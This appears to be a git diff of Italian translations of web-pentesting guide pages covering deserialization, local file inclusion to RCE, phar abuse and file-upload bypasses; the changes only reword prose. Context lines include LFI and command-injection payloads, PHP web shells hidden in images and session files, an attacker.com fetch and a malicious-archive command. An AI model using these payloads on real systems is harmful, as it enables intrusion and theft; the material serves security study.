src/pentesting-web/deserialization/python-yaml-deserialization.md

@@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
 #The other ways to load data will through an error as they won't even attempt to
 #deserialize the python object
 ```
-Il codice precedente utilizzava **unsafe_load** per caricare la classe python serializzata. Questo perché in **versione >= 5.1**, non consente di **deserializzare alcuna classe python serializzata o attributo di classe**, se il Loader non è specificato in load() o Loader=SafeLoader.
+Il codice precedente utilizzava **unsafe_load** per caricare la classe python serializzata. Questo perché in **versione >= 5.1**, non consente di **deserializzare alcuna classe python serializzata o attributo di classe**, senza un Loader specificato in load() o Loader=SafeLoader.
 
 ### Exploit di Base
 

src/pentesting-web/deserialization/ruby-class-pollution.md

@@ -143,8 +143,8 @@ JSONMergerApp.run(json_input)
 ```
 ### Spiegazione
 
-1. **Privilege Escalation**: Il metodo `authorize` verifica se `to_s` restituisce "Admin." Iniettando un nuovo attributo `to_s` tramite JSON, un attaccante può far restituire al metodo `to_s` "Admin," concedendo privilegi non autorizzati.
+1. **Privilegi di Escalation**: Il metodo `authorize` verifica se `to_s` restituisce "Admin." Iniettando un nuovo attributo `to_s` tramite JSON, un attaccante può far restituire al metodo `to_s` "Admin," concedendo privilegi non autorizzati.
-2. **Remote Code Execution**: In `health_check`, `instance_eval` esegue i metodi elencati in `protected_methods`. Se un attaccante inietta nomi di metodi personalizzati (come `"puts 1"`), `instance_eval` lo eseguirà, portando a **remote code execution (RCE)**.
+2. **Esecuzione Remota di Codice**: In `health_check`, `instance_eval` esegue i metodi elencati in `protected_methods`. Se un attaccante inietta nomi di metodi personalizzati (come `"puts 1"`), `instance_eval` lo eseguirà, portando a **esecuzione remota di codice (RCE)**.
 1. Questo è possibile solo perché c'è un **istruzione `eval` vulnerabile** che esegue il valore stringa di quell'attributo.
 3. **Limitazione dell'Impatto**: Questa vulnerabilità colpisce solo singole istanze, lasciando altre istanze di `User` e `Admin` non colpite, limitando così l'ambito di sfruttamento.
 
@@ -168,11 +168,11 @@ end
 ```
 ### Hashie’s `deep_merge`
 
-Il metodo `deep_merge` di Hashie opera direttamente sugli attributi degli oggetti piuttosto che su hash semplici. **Impedisce la sostituzione dei metodi** con attributi in un merge con alcune **eccezioni**: gli attributi che terminano con `_`, `!` o `?` possono ancora essere uniti all'oggetto.
+Il metodo `deep_merge` di Hashie opera direttamente sugli attributi degli oggetti piuttosto che su hash semplici. **Impedisce la sostituzione dei metodi** con gli attributi in un merge con alcune **eccezioni**: gli attributi che terminano con `_`, `!` o `?` possono ancora essere uniti all'oggetto.
 
 Un caso speciale è l'attributo **`_`** da solo. Solo `_` è un attributo che di solito restituisce un oggetto `Mash`. E poiché fa parte delle **eccezioni**, è possibile modificarlo.
 
-Controlla il seguente esempio di come passando `{"_": "Admin"}` si riesca a bypassare `_.to_s == "Admin"`:
+Controlla il seguente esempio su come passando `{"_": "Admin"}` si riesce a bypassare `_.to_s == "Admin"`:
 ```ruby
 require 'json'
 require 'hashie'

src/pentesting-web/file-inclusion/README.md

@@ -57,7 +57,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**
 
-Evitare di aggiungere più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
+Ignora l'aggiunta di più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
@@ -222,13 +222,13 @@ I filtri PHP consentono di eseguire **operazioni di modifica di base sui dati**
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
-- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate eseguire nel terminale: `iconv -l`
+- `convert.iconv.*` : Trasforma in una codifica diversa (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate, esegui nel terminale: `iconv -l`
 
 > [!WARNING]
-> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per fare una funzione come includere testo arbitrario. Per ulteriori informazioni controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
+> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, che potrebbe essere utile per scrivere testo arbitrario o per fare una funzione come includere testo arbitrario. Per ulteriori informazioni, controlla [**LFI2RCE tramite filtri php**](lfi2rce-via-php-filters.md).
 
 - [Filtri di Compressione](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltrano molte informazioni)
+- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni)
 - `zlib.inflate`: Decomprime i dati
 - [Filtri di Crittografia](https://www.php.net/manual/en/filters.encryption.php)
 - `mcrypt.*` : Obsoleto
@@ -352,9 +352,9 @@ Per compilare il file `.phar`, il seguente comando deve essere eseguito:
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare vulnerabilità di Local File Inclusion (LFI).
+Al momento dell'esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere sfruttato per sfruttare le vulnerabilità di Local File Inclusion (LFI).
 
-Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al suo interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`.
+Nei casi in cui l'LFI esegue solo la lettura dei file senza eseguire il codice PHP al loro interno, attraverso funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, potrebbe essere tentato lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file utilizzando il protocollo `phar`.
 
 Per una comprensione dettagliata dello sfruttamento delle vulnerabilità di deserializzazione nel contesto dei file `.phar`, fare riferimento al documento collegato qui sotto:
 
@@ -378,10 +378,10 @@ Controlla più possibili [**protocollo da includere qui**](https://www.php.net/m
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
-- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flussi di compressione
 - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova nomi di percorso che corrispondono a un modello (non restituisce nulla di stampabile, quindi non è davvero utile qui)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (non utile per leggere file arbitrari)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flussi audio (non utile per leggere file arbitrari)
 
 ## LFI tramite 'assert' di PHP
 
@@ -399,18 +399,18 @@ Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
 ```plaintext
 ' and die(system("id")) or '
 ```
-È importante **URL-encoded questi payload**.
+È importante **URL-encode questi payload**.
 
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non è mostrato.
+> Questa tecnica è rilevante nei casi in cui **controlli** il **percorso del file** di una **funzione PHP** che **accederà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) ma il contenuto non viene mostrato.
 
-In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite il filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**.
+In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal può essere abusato tramite un filtro PHP per **esfiltrare il contenuto di un file tramite un errore oracle**.
 
 In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file attiverà un **errore**.
 
-Poi, per rivelare il primo carattere, il filtro **`dechunk`** è usato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** sono usati per **posizionare altri caratteri all'inizio e rivelarli**.
+Poi, per rivelare il primo carattere, il filtro **`dechunk`** viene utilizzato insieme ad altri come **base64** o **rot13** e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono utilizzati per **posizionare altri caratteri all'inizio e rivelarli**.
 
 **Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo target in sola lettura con questo)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
@@ -429,7 +429,7 @@ Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione
 > [!WARNING]
 > Nota che **se usi virgolette doppie** per la shell invece di **virgolette semplici**, le virgolette doppie verranno modificate per la stringa "_**quote;**_", **PHP genererà un errore** lì e **nient'altro verrà eseguito**.
 >
-> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
+> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genererà un errore ogni volta che cerca di caricare il file di log e non avrai una seconda opportunità.
 
 Questo potrebbe essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
 Altri possibili percorsi di log:
@@ -492,7 +492,7 @@ Imposta il cookie su `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Usa il LFI per includere il file di sessione PHP
+Usa l'LFI per includere il file di sessione PHP
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
@@ -549,7 +549,7 @@ via-php_session_upload_progress.md
 
 ### Via temp file uploads in Windows
 
-Se hai trovato un **Local File Inclusion** e il server è in esecuzione su **Windows** potresti ottenere RCE:
+Se hai trovato un **Local File Inclusion** e il server è in esecuzione in **Windows** potresti ottenere RCE:
 
 {{#ref}}
 lfi2rce-via-temp-file-uploads.md
@@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md
 
 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
 
-Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
+Se hai trovato un **Local File Inclusion** e **puoi esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere ha segni PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
 
 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 
 ### Via eternal waiting + bruteforce
 
-Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP sul server, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
+Se puoi abusare del LFI per **caricare file temporanei** e far **bloccarsi** l'esecuzione di PHP, potresti quindi **forzare i nomi dei file per ore** per trovare il file temporaneo:
 
 {{#ref}}
 lfi2rce-via-eternal-waiting.md
@@ -599,7 +599,7 @@ lfi2rce-via-eternal-waiting.md
 Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso due volte per generare quell'errore).
 
 **Non so quanto sia utile, ma potrebbe esserlo.**\
-&#xNAN;_&#x45; anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
+&#xNAN;_&#x45; anche se causate un errore fatale di PHP, i file temporanei caricati vengono eliminati._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

@@ -10,7 +10,7 @@ Questo significa che una chiamata come:
 ```php
 file_get_contents("compress.zlib://http://attacker.com/file")
 ```
-Invierà una richiesta chiedendo http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file.
+Invierà una richiesta per http://attacker.com/file, quindi il server potrebbe rispondere alla richiesta con una risposta HTTP valida, mantenere la connessione aperta e inviare dati extra qualche tempo dopo che verranno anch'essi scritti nel file.
 
 Puoi vedere queste informazioni in questa parte del codice php-src in main/streams/cast.c:
 ```c

src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md

@@ -63,22 +63,22 @@ Facciamo un po' di conti:
 - (senza cifre) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% di probabilità in 93h)
 
 > [!WARNING]
-> Nota che nell'esempio precedente stiamo **completamente DoSando altri clienti**!
+> Nota che nell'esempio precedente stiamo **completamente DoSing altri clienti**!
 
 Se il server Apache è migliorato e potessimo abusare di **4000 connessioni** (metà del numero massimo). Potremmo creare `3999*20 = 79980` **file** e il **numero** sarebbe **ridotto** a circa **19.7h** o **6.9h** (10h, 3.5h 50% di probabilità).
 
 ## PHP-FMP
 
-Se invece di utilizzare il modulo php regolare per apache per eseguire script PHP la **pagina web sta utilizzando** **PHP-FMP** (questo migliora l'efficienza della pagina web, quindi è comune trovarlo), c'è qualcos'altro che può essere fatto per migliorare la tecnica.
+Se invece di utilizzare il modulo php regolare per apache per eseguire script PHP, la **pagina web sta utilizzando** **PHP-FMP** (questo migliora l'efficienza della pagina web, quindi è comune trovarlo), c'è qualcos'altro che può essere fatto per migliorare la tecnica.
 
 PHP-FMP consente di **configurare** il **parametro** **`request_terminate_timeout`** in **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
 Questo parametro indica la quantità massima di secondi **quando** **la richiesta a PHP deve terminare** (infinito per impostazione predefinita, ma **30s se il parametro è decommentato**). Quando una richiesta viene elaborata da PHP per il numero di secondi indicato, viene **terminata**. Questo significa che, se la richiesta stava caricando file temporanei, poiché il **processo php è stato interrotto**, quei **file non verranno eliminati**. Pertanto, se riesci a far durare una richiesta quel tempo, puoi **generare migliaia di file temporanei** che non verranno eliminati, il che **accelera il processo di trovarli** e riduce la probabilità di un DoS per la piattaforma consumando tutte le connessioni.
 
-Quindi, per **evitare DoS** supponiamo che un **attaccante utilizzerà solo 100 connessioni** contemporaneamente e il tempo massimo di elaborazione php per **php-fmp** (`request_terminate_timeout`**)** è **30s**. Pertanto, il numero di **file temporanei** che possono essere generati **al secondo** è `100*20/30 = 66.67`.
+Quindi, per **evitare DoS**, supponiamo che un **attaccante utilizzerà solo 100 connessioni** contemporaneamente e il tempo massimo di elaborazione php per **php-fmp** (`request_terminate_timeout`**)** è **30s**. Pertanto, il numero di **file temporanei** che possono essere generati **al secondo** è `100*20/30 = 66.67`.
 
 Quindi, per generare **10000 file** un attaccante avrebbe bisogno di: **`10000/66.67 = 150s`** (per generare **100000 file** il tempo sarebbe **25min**).
 
-Quindi, l'attaccante potrebbe utilizzare quelle **100 connessioni** per eseguire una **ricerca brute-force**. \*\*\*\* Supponendo una velocità di 300 req/s il tempo necessario per sfruttare questo è il seguente:
+Quindi, l'attaccante potrebbe utilizzare quelle **100 connessioni** per eseguire una **ricerca brute-force**. \*\*\*\* Supponendo una velocità di 300 req/s, il tempo necessario per sfruttare questo è il seguente:
 
 - 56800235584 / 10000 / 300 / 3600 \~= **5.25 ore** (50% di probabilità in 2.63h)
 - (con 100000 file) 56800235584 / 100000 / 300 / 3600 \~= **0.525 ore** (50% di probabilità in 0.263h)

src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md

@@ -17,7 +17,7 @@ Il ciclo per generare contenuti arbitrari è:
 
 1. premere `\x1b$)C` alla nostra stringa come descritto sopra
 2. applicare una catena di conversioni iconv che lascia intatta la nostra base64 iniziale e converte la parte che abbiamo appena premuto in una stringa dove l'unico carattere base64 valido è la parte successiva del nostro codice php codificato in base64
-3. decodificare in base64 e ricodificare in base64 la stringa, il che rimuoverà qualsiasi spazzatura nel mezzo
+3. decodificare in base64 e ricodificare la stringa che rimuoverà qualsiasi spazzatura nel mezzo
 4. Tornare al punto 1 se la base64 che vogliamo costruire non è ancora finita
 5. decodificare in base64 per ottenere il nostro codice php
 

src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

@@ -26,7 +26,7 @@ In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Po
 
 **phpinfo()**
 
-**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte del phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
+**PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI.
 
 **Script Python per provare a forzare il nome (se la lunghezza = 6)**
 ```python

src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md

@@ -23,7 +23,7 @@ Inoltre, il processo di sfruttamento è semplificato sui sistemi Windows. Una pe
 ```
 http://site/vuln.php?inc=c:\windows\temp\php<<
 ```
-In alcune situazioni, potrebbe essere necessaria una maschera più specifica (come `php1<<` o `phpA<<`). Si possono provare sistematicamente queste maschere per scoprire il file temporaneo caricato.
+In certe situazioni, potrebbe essere necessaria una maschera più specifica (come `php1<<` o `phpA<<`). Si possono provare sistematicamente queste maschere per scoprire il file temporaneo caricato.
 
 #### Sfruttamento su Sistemi GNU/Linux
 

src/pentesting-web/file-inclusion/phar-deserialization.md

@@ -4,9 +4,9 @@
 
 
 
-I file **Phar** (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**.
+**I file** Phar (PHP Archive) **contengono metadati in formato serializzato**, quindi, quando vengono analizzati, questi **metadati** vengono **deserializzati** e puoi provare ad abusare di una vulnerabilità di **deserializzazione** all'interno del codice **PHP**.
 
-La cosa migliore di questa caratteristica è che questa deserializzazione avverrà anche utilizzando funzioni PHP che non valutano codice PHP come **file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**.
+La cosa migliore di questa caratteristica è che questa deserializzazione avverrà anche utilizzando funzioni PHP che non eseguono codice PHP come **file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**.
 
 Quindi, immagina una situazione in cui puoi far sì che un web PHP ottenga la dimensione di un file arbitrario utilizzando il protocollo **`phar://`**, e all'interno del codice trovi una **classe** simile alla seguente:
 ```php:vunl.php
@@ -50,7 +50,7 @@ $object = new AnyClass('whoami');
 $phar->setMetadata($object);
 $phar->stopBuffering();
 ```
-Nota come i **byte magici di JPG** (`\xff\xd8\xff`) siano aggiunti all'inizio del file phar per **bypassare** le **possibili** restrizioni sui **caricamenti** di file.\
+Nota come i **byte magici di JPG** (`\xff\xd8\xff`) sono aggiunti all'inizio del file phar per **bypassare** le **possibili** restrizioni sui **caricamenti** di file.\
 **Compila** il file `test.phar` con:
 ```bash
 php --define phar.readonly=0 create_phar.php

src/pentesting-web/file-inclusion/via-php_session_upload_progress.md

@@ -29,7 +29,7 @@ Nel [**CTF originale**](https://blog.orange.tw/2018/10/) dove questa tecnica è
 
 A causa dell'impostazione predefinita di `session.upload_progress.prefix`, il nostro **file di SESSION inizierà con un prefisso fastidioso** `upload_progress_` Come: `upload_progress_controlledcontentbyattacker`
 
-Il trucco per **rimuovere il prefisso iniziale** era di **base64encode il payload 3 volte** e poi decodificarlo tramite i filtri `convert.base64-decode`, questo perché quando **decodifichi in base64 PHP rimuoverà i caratteri strani**, quindi dopo 3 volte **solo** il **payload** **inviato** dall'attaccante **rimarrà** (e poi l'attaccante può controllare la parte iniziale).
+Il trucco per **rimuovere il prefisso iniziale** era di **base64codificare il payload 3 volte** e poi decodificarlo tramite i filtri `convert.base64-decode`, questo perché quando **PHP decodifica in base64 rimuoverà i caratteri strani**, quindi dopo 3 volte **solo** il **payload** **inviato** dall'attaccante **rimarrà** (e poi l'attaccante può controllare la parte iniziale).
 
 Ulteriori informazioni nel writeup originale [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) e exploit finale [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
 Un altro writeup in [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)

src/pentesting-web/file-upload/README.md

@@ -44,7 +44,7 @@ Altre estensioni utili:
 5. Aggiungi **un altro livello di estensioni** al controllo precedente:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente che termina in .php\*\* eseguirà codice):
+6. Prova a mettere l'**estensione exec prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare le misconfigurazioni di Apache dove qualsiasi cosa con estensione **_**.php**_**, ma** non necessariamente che termina in .php** eseguirà codice):
 - _es: file.php.png_
 7. Usando **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti “:” verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, un **file vuoto con l'estensione vietata** verrà creato sul server (es. “file.asax:.jpg”). Questo file potrebbe essere modificato in seguito utilizzando altre tecniche come l'uso del suo nome breve. Il pattern “**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
 8. Prova a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
@@ -68,11 +68,11 @@ AAA<--SNIP 232 A-->AAA.php.png
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` oppure potresti anche **introdurre il payload direttamente** in un'immagine:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, potresti usare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- Se **la compressione viene aggiunta alla tua immagine**, ad esempio utilizzando alcune librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi utilizzare il **PLTE chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, potresti usare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- La pagina web potrebbe anche **ridimensionare** l'**immagine**, utilizzando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi utilizzare il **IDAT chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, potresti usare il **tEXt chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, utilizzando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi utilizzare il **tEXt chunk** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
 - [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Other Tricks to check
@@ -82,7 +82,7 @@ AAA<--SNIP 232 A-->AAA.php.png
 - **Possibile divulgazione di informazioni**:
 1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
 2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
-3. Caricando un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
+3. Caricando un file con **“.”, “..”, o “…” come suo nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome file “.” creerà un file chiamato “uploads” nella directory “/www/”.
 4. Carica un file che potrebbe non essere facilmente eliminato come **“…:.jpg”** in **NTFS**. (Windows)
 5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
 6. Carica un file in **Windows** utilizzando **nomi riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
@@ -219,7 +219,7 @@ tar -cvf test.tar symindex.txt
 ```
 ### Decomprimere in cartelle diverse
 
-La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione mirata.
+La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante le assunzioni iniziali che questa configurazione potesse proteggere contro l'esecuzione di comandi a livello di OS tramite caricamenti di file dannosi, il supporto per la compressione gerarchica e le capacità di traversata delle directory del formato ZIP possono essere sfruttati. Questo consente agli attaccanti di eludere le restrizioni e di uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
 
 Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come mostrato:
 ```python
@@ -228,7 +228,7 @@ python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante il suo funzionamento.
+Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.
 
 Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:
 ```python
@@ -279,7 +279,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Carica questo contenuto con un'estensione di immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (forma dell' [exploit](https://www.exploit-db.com/exploits/39767))
